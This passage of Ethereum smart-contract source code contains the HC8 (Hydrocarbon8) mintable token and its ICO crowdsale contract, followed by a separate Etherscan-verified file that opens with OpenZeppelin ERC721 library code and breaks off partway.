*/ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /************************************************************************* * import "../ownership/Ownable.sol" : end *************************************************************************/ /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /************************************************************************* * import "zeppelin-solidity/contracts/token/MintableToken.sol" : end *************************************************************************/ contract HC8 is MintableToken { /* Token constants */ string public name = "Hydrocarbon8"; string public symbol = "HC8"; uint public decimals = 6; /* Blocks token transfers until ICO is finished.*/ bool public tokensBlocked = true; // list of addresses with time-freezend tokens mapping (address => uint) public teamTokensFreeze; event debugLog(string key, uint value); /* Allow token transfer.*/ function unblock() external onlyOwner { tokensBlocked = false; } /* Override some function to add support of blocking .*/ function transfer(address _to, uint256 _value) public returns (bool) { require(!tokensBlocked); require(allowTokenOperations(_to)); require(allowTokenOperations(msg.sender)); super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(!tokensBlocked); require(allowTokenOperations(_from)); require(allowTokenOperations(_to)); super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public returns (bool) { require(!tokensBlocked); require(allowTokenOperations(_spender)); super.approve(_spender, _value); } // Hold team/founders tokens for defined time function freezeTokens(address _holder, uint time) public onlyOwner { require(_holder != 0x0); teamTokensFreeze[_holder] = time; } function allowTokenOperations(address _holder) public constant returns (bool) { return teamTokensFreeze[_holder] == 0 || now >= teamTokensFreeze[_holder]; } } contract HC8ICO { using SafeMath for uint; //========== // Variables //========== //States enum IcoState {Running, Paused, Failed, Finished} // ico successed bool public isSuccess = false; // contract hardcoded owner address public owner = 0x07c88CC4316F47131d5D3AD84B3151397E858120; address public wallet = 0x81c9Ad6B14F6cBd71155B504e6E88963420f1829; address public unsold = 0x7Cb4C67d020042537476Bc13033461ce154bD3e0; // Start time uint public constant startTime = 1533715688; // End time uint public endTime = startTime + 60 days; // decimals multiplier for calculation & debug uint public constant multiplier = 1000000; // minimal amount of tokens for sale uint private constant minTokens = 50 * multiplier; // one million uint public constant mln = 1000000; // ICO max tokens for sale uint public constant tokensCap = 99 * mln * multiplier; //ICO success uint public constant minSuccess = 50 * multiplier; // Amount of sold tokens uint public totalSupply = 0; // Amount of tokens w/o bonus uint public tokensSoldTotal = 0; // State of ICO - default Running IcoState public icoState = IcoState.Running; // @dev for debug uint private constant rateDivider = 1; // initial price in wei uint public priceInWei = 3105962723; // robot address address public _robot = 0x63b247db491D3d3E32A9629509Fb459386Aff921; // if ICO not finished - we must send all old contract eth to new bool public tokensAreFrozen = true; // The token being sold HC8 public token; // Structure for holding bonuses and tokens for btc investors // We can now deprecate rate/bonus_tokens/value without bitcoin holding mechanism - we don't need it struct TokensHolder { uint value; //amount of wei uint tokens; //amount of tokens uint bonus; //amount of bonus tokens uint total; //total tokens uint rate; //conversion rate for hold moment uint change; //unused wei amount if tx reaches cap } //wei amount mapping (address => uint) public investors; struct teamTokens { address holder; uint freezePeriod; uint percent; uint divider; uint maxTokens; } teamTokens[] public listTeamTokens; // Bonus params uint[] public bonusPatterns = [80, 60, 40, 20]; uint[] public bonusLimit = [5 * mln * multiplier, 10 * mln * multiplier, 15 * mln * multiplier, 20 * mln * multiplier]; // flag to prevent team tokens regen with external call bool public teamTokensGenerated = false; //========= //Modifiers //========= // Active ICO modifier ICOActive { require(icoState == IcoState.Running); require(now >= (startTime)); require(now <= (endTime)); _; } // Finished ICO modifier ICOFinished { require(icoState == IcoState.Finished); _; } // Failed ICO - time is over modifier ICOFailed { require(now >= (endTime)); require(icoState == IcoState.Failed || !isSuccess); _; } // Allows some methods to be used by team or robot modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyTeam() { require(msg.sender == owner || msg.sender == _robot); _; } modifier successICOState() { require(isSuccess); _; } //======= // Events //======= event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount); event RunIco(); event PauseIco(); event SuccessIco(); event ICOFails(); event updateRate(uint time, uint rate); event debugLog(string key, uint value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); //======== // Methods //======== // Constructor function HC8ICO() public { token = new HC8(); //if (owner == 0x0) {//owner not set in contract // owner = msg.sender; //} //uint freezePeriod; //uint percent; //uint divider; // // Company tokens 10%, blocked for 182 days listTeamTokens.push(teamTokens(0x1b83619057f2230060ea672E7C03C5DAe8A1eEE6, 182 days, 10, 1, 0)); // Company tokens 10%, blocked for 1 year listTeamTokens.push(teamTokens(0xB7F2BD192baAe546F5a48570b5d5990be2C31433, 1 years, 10, 1, 0)); // Team tokens 6.667% listTeamTokens.push(teamTokens(0xB6e2E9019AC0282Bc20b6874dea8488Db4E41512, 0, 32, 10, 0)); listTeamTokens.push(teamTokens(0x0adC0CC5E9625E893Ec5C56Ee9D189644FF3744F, 0, 16, 10, 0)); listTeamTokens.push(teamTokens(0xB5c5C8C3615A48c03BF0F2a30fD1EC3Aea8C5A20, 0, 16, 10, 0)); listTeamTokens.push(teamTokens(0x79C3659236c51C82b7c0A5CD02932551470fA8cF, 0, 200, 1000, 0)); listTeamTokens.push(teamTokens(0x644dEd1858174fc9b91d614846d1545Ad510074B, 0, 6670, 100000, 0)); // Team tokens 6.667%, blocked for 1 year listTeamTokens.push(teamTokens(0xa110C057DD30042eE9c1a8734F5AD14ef4DA7D28, 1 years, 32, 10, 0)); listTeamTokens.push(teamTokens(0x2323eaD3137195F70aFEC27283649F515D7cdf40, 1 years, 16, 10, 0)); listTeamTokens.push(teamTokens(0x4A536E9F10c19112C33DEA04BFC62216792a197D, 1 years, 16, 10, 0)); listTeamTokens.push(teamTokens(0x93c7338D6D23Ed36c6eD5d05C80Dc54BDB2ebCcd, 1 years, 200, 1000, 0)); listTeamTokens.push(teamTokens(0x3bFF85649F76bf0B6719657D1a7Ea7de4C6F77F5, 1 years, 6670, 100000, 0)); // Team tokes 6.667%, blocked for 2 years listTeamTokens.push(teamTokens(0x1543E108cDA983eA3e4DF7fa599096EBa2BDC26b, 2 years, 32, 10, 0)); listTeamTokens.push(teamTokens(0x0d05195af835F64cf42bC01276196E7D313Ca572, 2 years, 16, 10, 0)); listTeamTokens.push(teamTokens(0x5a9447368cF7D1Ae134444263c51E07e8d8091eA, 2 years, 16, 10, 0)); listTeamTokens.push(teamTokens(0x9293824d3A66Af4fdE6f29Aa016b784408B5cA5F, 2 years, 200, 1000, 0)); listTeamTokens.push(teamTokens(0x8bbBd613EA5a840FDE29DFa6F6E53E93FE998c7F, 2 years, 6660, 100000, 0)); } // fallback function can be used to buy tokens function() public payable ICOActive { require(!isReachedLimit()); TokensHolder memory tokens = calculateTokens(msg.value); require(tokens.total > 0); token.mint(msg.sender, tokens.total); TokenPurchase(msg.sender, msg.sender, tokens.value, tokens.total); if (tokens.change > 0 && tokens.change <= msg.value) { msg.sender.transfer(tokens.change); } investors[msg.sender] = investors[msg.sender].add(tokens.value); addToStat(tokens.tokens, tokens.bonus); debugLog("rate ", priceInWei); manageStatus(); } function hasStarted() public constant returns (bool) { return now >= startTime; } function hasFinished() public constant returns (bool) { return now >= endTime || isReachedLimit(); } // Calculates amount of bonus tokens function getBonus(uint _value, uint _sold) internal constant returns (TokensHolder) { TokensHolder memory result; uint _bonus = 0; result.tokens = _value; for (uint8 i = 0; _value > 0 && i < bonusLimit.length; ++i) { uint current_bonus_part = 0; if (_value > 0 && _sold < bonusLimit[i]) { uint bonus_left = bonusLimit[i] - _sold; uint _bonusedPart = min(_value, bonus_left); current_bonus_part = current_bonus_part.add(percent(_bonusedPart, bonusPatterns[i])); _value = _value.sub(_bonusedPart); _sold = _sold.add(_bonusedPart); } if (current_bonus_part > 0) { _bonus = _bonus.add(current_bonus_part); } } result.bonus = _bonus; return result; } // Are we reached tokens limit? function isReachedLimit() internal constant returns (bool) { return tokensCap.sub(totalSupply) == 0; } function manageStatus() internal { if (totalSupply >= minSuccess && !isSuccess) { successICO(); } bool capIsReached = (totalSupply == tokensCap); if (capIsReached || (now >= endTime)) { if (!isSuccess) { failICO(); } else { finishICO(false); } } } function calculateForValue(uint value) public constant returns (uint, uint, uint) { TokensHolder memory tokens = calculateTokens(value); return (tokens.total, tokens.tokens, tokens.bonus); } function calculateTokens(uint value) internal constant returns (TokensHolder) { require(value > 0); require(priceInWei * minTokens <= value); uint tokens = value.div(priceInWei); require(tokens > 0); uint remain = tokensCap.sub(totalSupply); uint change = 0; uint value_clear = 0; if (remain <= tokens) { tokens = remain; change = value.sub(tokens.mul(priceInWei)); value_clear = value.sub(change); } else { value_clear = value; } TokensHolder memory bonus = getBonus(tokens, tokensSoldTotal); uint total = tokens + bonus.bonus; bonus.tokens = tokens; bonus.total = total; bonus.change = change; bonus.rate = priceInWei; bonus.value = value_clear; return bonus; } // Add tokens&bonus amount to counters function addToStat(uint tokens, uint bonus) internal { uint total = tokens + bonus; totalSupply = totalSupply.add(total); //tokensBought = tokensBought.add(tokens.div(multiplier)); //tokensBonus = tokensBonus.add(bonus.div(multiplier)); tokensSoldTotal = tokensSoldTotal.add(tokens); } // manual start ico after pause function startIco() external onlyOwner { require(icoState == IcoState.Paused); icoState = IcoState.Running; RunIco(); } // manual pause ico function pauseIco() external onlyOwner { require(icoState == IcoState.Running); icoState = IcoState.Paused; PauseIco(); } // auto success ico - cat withdraw ether now function successICO() internal { isSuccess = true; SuccessIco(); } function finishICO(bool manualFinish) internal successICOState { if(!manualFinish) { bool capIsReached = (totalSupply == tokensCap); if (capIsReached && now < endTime) { endTime = now; } } else { endTime = now; } icoState = IcoState.Finished; tokensAreFrozen = false; // maybe this must be called as external one-time call token.unblock(); } function failICO() internal { icoState = IcoState.Failed; ICOFails(); } function refund() public ICOFailed { require(msg.sender != 0x0); require(investors[msg.sender] > 0); uint refundVal = investors[msg.sender]; investors[msg.sender] = 0; uint balance = token.balanceOf(msg.sender); totalSupply = totalSupply.sub(balance); msg.sender.transfer(refundVal); } // Withdraw allowed only on success function withdraw(uint value) external onlyOwner successICOState { wallet.transfer(value); } // Generates team tokens after ICO finished function generateTeamTokens() internal ICOFinished { require(!teamTokensGenerated); teamTokensGenerated = true; if(tokensCap > totalSupply) { uint unsoldAmount = tokensCap.sub(totalSupply); token.mint(unsold, unsoldAmount); //debugLog('unsold ', unsoldAmount); totalSupply = totalSupply.add(unsoldAmount); } uint totalSupplyTokens = totalSupply; totalSupplyTokens = totalSupplyTokens.mul(100); totalSupplyTokens = totalSupplyTokens.div(60); for (uint8 i = 0; i < listTeamTokens.length; ++i) { uint teamTokensPart = percent(totalSupplyTokens, listTeamTokens[i].percent); if (listTeamTokens[i].divider != 0) { teamTokensPart = teamTokensPart.div(listTeamTokens[i].divider); } if (listTeamTokens[i].maxTokens != 0 && listTeamTokens[i].maxTokens < teamTokensPart) { teamTokensPart = listTeamTokens[i].maxTokens; } token.mint(listTeamTokens[i].holder, teamTokensPart); if(listTeamTokens[i].freezePeriod != 0) { token.freezeTokens(listTeamTokens[i].holder, endTime + listTeamTokens[i].freezePeriod); } addToStat(teamTokensPart, 0); } } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } //========================== // Methods for bots requests //========================== // set/update robot address function setRobot(address robot) public onlyOwner { require(robot != 0x0); _robot = robot; } // update token price in wei function setRate(uint newRate) public onlyTeam { require(newRate > 0); //todo min rate check! 0 - for debug priceInWei = newRate; updateRate(now, newRate); } // mb deprecated function robotRefund(address investor) public onlyTeam ICOFailed { require(investor != 0x0); require(investors[investor] > 0); uint refundVal = investors[investor]; investors[investor] = 0; uint balance = token.balanceOf(investor); totalSupply = totalSupply.sub(balance); investor.transfer(refundVal); } function manualFinish() public onlyTeam successICOState { require(!hasFinished()); finishICO(true); generateTeamTokens(); } function autoFinishTime() public onlyTeam { require(hasFinished()); manageStatus(); generateTeamTokens(); } //======== // Helpers //======== // calculation of min value function min(uint a, uint b) internal pure returns (uint) { return a < b ? a : b; } function percent(uint value, uint bonus) internal pure returns (uint) { return (value * bonus).div(100); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-03-09 */ // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overridden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are 